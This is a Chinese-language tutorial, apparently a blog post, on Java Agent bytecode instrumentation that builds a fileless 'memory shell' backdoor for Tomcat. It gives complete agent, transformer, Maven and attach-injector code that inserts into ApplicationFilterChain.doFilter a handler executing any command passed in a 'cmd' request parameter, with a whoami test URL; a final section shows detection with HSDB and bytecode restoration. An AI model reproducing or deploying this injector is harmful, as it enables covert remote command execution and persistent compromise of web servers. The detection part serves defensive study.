Java Agent & 内存马
编辑Java Agent
Java Agent是一种可以在JVM启动时或运行时附加的工具,它可以拦截并修改类文件字节码。Java Agent通常用于实现AOP(面向切面编程)、性能监控、日志记录等功能。
Java Agent有两种加载方式:
1.Premain:在JVM启动时通过命令行参数-javaagent:path/to/your-agent.jar来指定。
2.Agentmain:在JVM已经启动后,通过Attack API动态地附加到正在运行的JVM进程上。
准备
先来准备一个正在运行的正常程序:项目很简单,只有一个简单的Main方法,和一个Fox类。
有一个狐狸类,狐狸有一个say方法。
package org.example;
public class Fox {
public void say(){
System.out.println("ding-ding-ding...");
}
}
还有一个程序入口,每秒钟调用一次狐狸类的say()方法。
package org.example;
public class Main {
public static void main(String[] args) throws InterruptedException {
Fox fox = new Fox();
while (true){
fox.say();
Thread.sleep(1000);
}
}
}
好了,写完这些代码就不要再去改动这个项目了。这个项目用于演示一个被Agent修改的普通应用。
Premain
premian代理的加载方式是在程序启动时加入参数。
java -javaagent:xxx.jar app.jar
其中的xxx.jar就是我们接下来构造的包。
1.新建一个maven项目。
2.改一下maven打包设置,配置如下:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>agent-premain</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<descriptorRefs>
<descriptorRef>
jar-with-dependencies
</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Agent-Class>
AgentMainTest
</Agent-Class>
<Premain-Class>
PremainTest
</Premain-Class>
<Can-Redefine-Classes>
true
</Can-Redefine-Classes>
<Can-Retransform-Classes>
true
</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
<executions>
<execution>
<id>
make-assembly
</id>
<phase>package</phase>
<goals><goal>single</goal></goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
配置的作用是让jar打包时添加以下信息到jar包中的MANIFEST.MF文件中。
创建一个Premain类型的Agent时,需要在MANIFEST.MF中指定Premain-Class属性JVM才能在启动时加载指定代理类。
而创建一个Agentmain类型的Agent时,需要在MANIFEST中指定Agent-Class属性,JVM才能在运行时加载指定代理类。
Can-Redefine-Classes: true表示允许Java Agent新定义已经加载的类。
Can-Retransform-Classes: true表表示允许Java Agent重新转换已经加载的类。
现在来创建Premain Class,要注意,类的名字和在MANIFEST.MF中指定的Premain-Class属性值要一致。
import java.lang.instrument.Instrumentation;
public class PremainTest {
public static void premain(String[] agentArgs, Instrumentation inst) {
inst.addTransformer(new MyTransformer());
System.out.println("Hello world!");
}
}
public static void premain(String[] agentArgs, Instrumentation inst)是一个特殊的静态方法,被称为代理主方法(agent main method)。它由JVM调用,允许代理(agent)在目标应用程序启动之前执行初始化操作。
Strig agentArgs:传递给代理的参数字符串。
Instrumentation inst:提供了一组API来检查、修改甚至替换应用程序中的类。
MyTransformer是一个实现ClassFileTransformer的类,在类中负责具体的类转换工作。
import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String classname, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (classname.equals("org/example/Fox")){
return read("Fox.class");
}
return ClassFileTransformer.super.transform(loader, classname,classBeingRedefined,protectionDomain,classfileBuffer);
}
public static byte[] read(String path){
try {
FileInputStream in = new FileInputStream(path);
//当文件没有结束时,每次读取一个字节显示
byte[] data= new byte[in.available()];
in.read(data);
in.close();
return data;
} catch (Exception e){
e.printStackTrace();
return null;
}
}
}
关于此接口类方法的参数:
ClassLoader loader:加载类的类加载器。
String classname:类的全限定名(例如,com/example/MyClass)。
Class<?> classBeingRedefined:如果是在重新定义类,则为该类的对象;否则为null。
ProtectionDomain protectionDomain:类的保护域。
byte[] classfileBuffer:类的原始字节码数组。
返回一个新的字节码数组,用于替换原始字节码;如果不需要修改字节码,则返回null。
每当jvm需要加载一个类时,都会调用这个方法。这包括初始加载、重新定义和重新转换。
这个方法的作用是:如果检测到加载的是Fox类,则替换成编译好的另一个Fox.class文件的内容。
Fox.class是由修改后的Fox.java编译得来,与原版的不同在于换了一种叫法。
将以下代码放在Agent项目中,然后使用mvn compile命令编译。
package org.example;
public class Fox {
public void say(){
System.out.println("大楚兴");
}
}
编译好后在这个目录下。
将这个文件的路径填入到MyTransformer::transform中的return read()里面。
然后将项目编译成jar,复制jar绝对路径。
回到原来的第一个项目,先运行下项目,让其生成target文件夹。
生成后进入文件夹target/classes目录,打开cmd,运行指令:
java -javaagent:E:\开发项目\javasec2\agent\agent-premain\target\agent-premain-1.0-SNAPSHOT-jar-with-dependencies.jar org.example.Main
Fox.class成功被篡改。
Agentmain
Agentmain代理的加载方式是附加到正在运行的Java进程上。前面说到,创建一个Agentmain类型的Agent时,需要在MANIFEST中指定Agent-Class属性,则我们创建一个跟Agent-Class属性值同名的Java文件。
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst) {
inst.addTransformer(new MyTransformer(), true);
for (Class<?> clazz : inst.getAllLoadedClasses()){
if (clazz.getName().equals("org.example.Fox")){
try {
inst.retransformClasses(clazz);
} catch (UnmodifiableClassException e) {
throw new RuntimeException(e);
}
}
}
}
}
inst.addTransformer(new MyTransformer(), true)中的第二个参数true表示该转换器可以重新转换已经加载过的类。
与之前Premain的逻辑不同的是,如果找到名为org.example.Fox的类,则调用retransformClasses重新转换一下这个类。因为程序已经运行起来了,说明这个Fox类已经被加载过了。之前的Premain Agent是在程序启动时加载的,所以不用这一步,剩下的MyTransformer接口中的逻辑保持和之前一致。
那么这个代理附加到正在运行的java项目进程上?首先,先把要修改的目标项目运行起来。
将刚修改的项目编译打包出jar包。通过命令mvn clean package编译。
使用jqs找到要注入的进程。
可以看到org.example.Main的进程号为49808。
使用jcmd附加代理到进程上。
看原来运行的程序,已经更改输出,达到运行时修改class的效果。
如果没有jcmd这个工具,或者不能执行命令,还有没有办法将这个Jar包附加到这个进程上呢?
现将正在运行的程序停掉,在这个项目中添加main类。
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Main {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
VirtualMachine vm = VirtualMachine.attach("123");
vm.loadAgent("E:\\开发项目\\javasec2\\agent\\agent-premain\\target\\agent-premain-1.0-SNAPSHOT-jar-with-dependencies.jar");
System.out.println("Hello world!");
}
}
老样子先获取进程。
将id修改成进程号,直接运行。
成功修改。
Javassist
提前写好class再替换还是不太灵活,有没有更灵活的方法呢,有的。
Javassist是一个用于操作java字节码的库类。它允许你在运行时定义新的类,或者修改现有的类。Javassist提供了一种简单的方式来处理Java字节码,使得开发者可以在不重新编译源代码的情况下,动态地改变程序的行为。
怎么用呢?添加依赖
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
修改MyTransformer代码,当 JVM 加载 org.example.Fox 类时,在该类的 say() 方法开头插入一行打印 "陈胜王" 的代码
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String classname,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
// 1. 只处理目标类 "org/example/Fox"(注意路径格式是 / 分隔)
if (classname.equals("org/example/Fox")) {
// 2. 初始化 Javassist 类池
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader)); // 添加当前 ClassLoader 的路径
try {
// 3. 从原始字节码构建 CtClass 对象
CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
// 4. 获取目标方法 say()
CtMethod say = cc.getDeclaredMethod("say");
// 5. 在 say() 方法开头插入代码
say.insertBefore("System.out.println(\"陈胜王\");");
// 6. 返回修改后的字节码
return cc.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
// 7. 对其他类不处理,返回 null 表示保持原样
return null;
}
}
打包jar
让fox跑起来。
还是jps -l查找进程号,并填入代码中。
运行成功,已经插入输出语句。
Agent内存马
Agent技术既然能在程序运行时动态修改类的字节码,那就非常适合做内存马,只要修改掉http请求处理过程中的一个类,那不就是在无webshell文件落地的情况下实现了,让目标程序受我们控制吗。
启动一个Tomcatweb服务,在一个Servlet上打上断点,然后访问Servlet,将看到以下调用过程:
在调用过程中存在一个ApplicationFilterChain类的doFilter方法,根据tomcat的请求传递过程,请求必定经过Filter链。只要项目中存在Filter,则ApplicationFilterChain类的doFilter方法必定被调用。
所以可以在请求的必经之路上设下条件:如果请求参数中包含cmd参数,则执行参数中的命令,否则就什么都不做。
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
Process proc = Runtime.getRuntime().exec(cmd);
java.io.InputStream in = proc.getInputStream();
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));
response.setContentType("text/html");
String line;
java.io.PrintWriter out = response.getWriter();
while ((line = br.readLine()) != null) {
out.println(line);
out.flush();
out.close();
}
} catch (Exception e) {
throw new RuntimeException(e);
}
}
我们将这段代码插入正在运行的Tomcat进程中,这算是对Agent知识的一个小小的实践。
首先tomcat肯定运行起来了,所以要使用Agentmain的方式将agent jar包注入到Tomcat进程中。
首先先运行tomcat,查找tomcat的进程号。
53988 org.apache.catalina.startup.Bootstrap为tomcat进程。
不论进程号如何改变,对用的启动类名称固定为org.apache.catalina.startup.Bootstrap,现在编写出agent jar包,因为是Agentmain注入,所以不需要Premain-Class。
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>agent-demo2</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>11</maven.compiler.source>
<maven.compiler.target>11</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.30.2-GA</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.6.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<archive>
<manifestEntries>
<Main-Class>test</Main-Class>
<Agent-Class>AgentMainTest</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
接下来编写AgentMainTest.java,遍历所有已加载的类,对org.apache.catalina.core.ApplicationFilterChain类用自定义的MyTransformer类重新转换类字节码,在java目录新建这个文件。
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentMainTest {
public static void agentmain(String agentArgs, Instrumentation inst) {
// 确保 MANIFEST.MF 文件中配置了正确的 Agent-Class 属性
// Agent-Class: AgentMainTest
inst.addTransformer(new MyTransformer(), true);
for (Class<?> clazz : inst.getAllLoadedClasses()){
if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
try {
inst.retransformClasses(clazz);
} catch (UnmodifiableClassException e) {
throw new RuntimeException(e);
}
}
}
}
}
MyTransformer实现类字节码的替换工作,在执行doFilter之前插入一段恶意代码,若存在cmd参数,则返回cmd参数运行结果。
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.LoaderClassPath;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class MyTransformer implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String classname,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {
// 1. 只处理目标类 "org/apache/catalina/core/ApplicationFilterChain"(注意路径格式是 / 分隔)
if (classname.equals("org/apache/catalina/core/ApplicationFilterChain")) {
// 2. 初始化 Javassist 类池
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(new LoaderClassPath(loader)); // 添加当前 ClassLoader 的路径
try {
// 3. 从原始字节码构建 CtClass 对象
CtClass cc = pool.makeClass(new ByteArrayInputStream(classfileBuffer));
// 4. 获取目标方法 doFilter()
CtMethod doFilter = cc.getDeclaredMethod("doFilter");
// 5. 在 doFilter() 方法开头插入代码
doFilter.insertBefore(
"String cmd = request.getParameter(\"cmd\");\n" +
"if (cmd != null) {\n" +
" try {\n" +
" Process proc = Runtime.getRuntime().exec(cmd);\n" +
" java.io.InputStream in = proc.getInputStream();\n" +
" java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
" response.setContentType(\"text/html\");\n" +
" String line;\n" +
" java.io.PrintWriter out = response.getWriter();\n" +
" while ((line = br.readLine()) != null) {\n" +
" out.println(line);\n" +
" out.flush();\n" +
" out.close();\n" +
" }\n" +
" \n" +
" } catch (Exception e) {\n" +
" throw new RuntimeException(e);\n" +
" }\n" +
" \n" +
"}");
// 6. 返回修改后的字节码
return cc.toBytecode();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
return ClassFileTransformer.super.transform(loader, classname, classBeingRedefined, protectionDomain, classfileBuffer);
}
}
test.java是为了方便不用再命令行查找进程和不写jar路径,直接在代码中实现找jar包和进程号查询并且将查询到的值传入到test的main方法中,直接将jar注入到该进程中。
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLDecoder;
import java.nio.charset.StandardCharsets;
import java.security.ProtectionDomain;
public class test {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String pid = getPID("org.apache.catalina.startup.Bootstrap");
if (pid == null){
throw new RuntimeException("未找到目标进程");
}
String jar = getJar(test.class);
VirtualMachine vm = VirtualMachine.attach(pid);
System.out.println(jar);
vm.loadAgent(jar);
}
public static String getJar(Class<?> clazz) throws IOException {
//获取类所在的jar包路径
ProtectionDomain protectiondomain = clazz.getProtectionDomain();
URL Location = protectiondomain.getCodeSource().getLocation();
//获取jar包名称
String path = Location.getPath();
String decodedPath = URLDecoder.decode(path, StandardCharsets.UTF_8);
if (System.getProperty("os.name").toLowerCase().contains("win")&&decodedPath.startsWith("/")) {
return decodedPath.substring(1);
}
return null;
}
//执行jps -l,获取到目标进程的pid
public static String getPID(String className) {
try {
Process process = Runtime.getRuntime().exec("jps -l");
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
if (line.contains(className)) {
return line.split(" ")[0];
}
}
} catch (IOException e) {
throw new RuntimeException("获取目标进程PID失败", e);
}
return null;
}
}
打包代码,然后在命令行中运行jar,记得在此之前要运行tomcat。
直接访问http://localhost:8080/?cmd=whoami
正常访问。
检测与查杀
agent内存马的难点是在定位攻击者哪些字节码,通过javaassist等asm工具获取到类的字节码,也只是读取磁盘上响应类的字节码,而不是jvm中的字节码。
那如何将注入的字节码还原,接下来先检测定位,先前注入的类是org.apache.catalina.core.ApplicationFilterChain,那打开工具sa-jdi.jar检测定位,进入到java的lib目录下,我的是11,打开cmd,输入指令jhsdb hsdb回车。
点击file -> attach to hotspot proccess 输入tomcat的pid。
点击菜单栏的tools-class broswer查看当前jvm中已经加载并被java Instrumentation修改后的类,就可以开始溯源定位内存马是在那个类被植入的,之前注入的类是org.apache.catalina.core.ApplicationFilterChain,直接搜Chain
点进去找doFilter
查到关键恶意代码。
利用javaassist获取没被修改的字节码,然后在通过retransformClass对类进行重新定义即可复原。
编写还原代码:
BytecodeRestorer.java通过org.apache.catalina.core.ApplicationFilterChain获取原始字节码
import javassist.*;
import java.io.IOException;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import java.util.Arrays;
/**
* 从原始Tomcat类库中获取干净的ApplicationFilterChain字节码
*/
public class BytecodeRestorer implements ClassFileTransformer {
// Tomcat核心类全限定名
private static final String TARGET_CLASS = "org.apache.catalina.core.ApplicationFilterChain";
/**
* 获取原始字节码
*/
public byte[] transform(ClassLoader loader, String classname,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
try {
ClassPool pool = ClassPool.getDefault();
// 加载目标类
CtClass cc = pool.getCtClass(TARGET_CLASS);
byte [] bytes = cc.toBytecode();
cc.detach();
// 生成纯净字节码
System.out.println(Arrays.toString(cc.toBytecode()));
return bytes;
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
AgentMainTest.java获取jvm全部的加载类,直到找到ApplicationFilterChain就添加一个addTransformer,利用retransformClasses还原ApplicationFilterChain的定义。
// 导入 Java Instrumentation API 包
import java.lang.instrument.Instrumentation;
// 代理主测试类,用于动态修改已加载的类
public class AgentMainTest {
// 静态变量,保存 Instrumentation 实例(用于类转换)
private static Instrumentation instrumentation;
// 静态变量,自定义的字节码转换器(用于恢复或修改类字节码)
private static BytecodeRestorer transform = new BytecodeRestorer();
/**
* Java Agent 的入口方法(动态 attach 模式)
* @param agentArgs 代理参数(可传入自定义参数)
* @param inst Instrumentation 实例,提供类操作能力
* @throws Exception 可能抛出异常
*/
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
instrumentation = inst; // 保存 Instrumentation 实例
Class[] classes = inst.getAllLoadedClasses(); // 获取 JVM 中所有已加载的类
// 遍历所有已加载的类
for (Class cls : classes) {
// 检查类名是否为 "org.apache.catalina.core.ApplicationFilterChain"(Tomcat 的过滤器链类)
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
// 添加字节码转换器(transform 负责实际的字节码修改)
inst.addTransformer(transform, true);
// 触发类重新转换(retransformClasses 会调用 transform 修改字节码)
inst.retransformClasses(cls);
// 移除转换器(避免影响其他类)
inst.removeTransformer(transform);
// 打印成功信息
System.out.println("ApplicationFilterChain has been redefined successfully.");
}
}
}
}
test.java照搬上面的,不用改,pom.xml的依赖也是。直接打包该项目。
开启tomcat,将之前的内存马注入进去,命令可以成功执行。
将刚刚生成的jar包运行。
可以看到页面中显示命令执行失败,已经成功覆盖,消除了内存马。
Java AgentNoFile等有时间分析了会补充上。
- 6
- 0
-
分享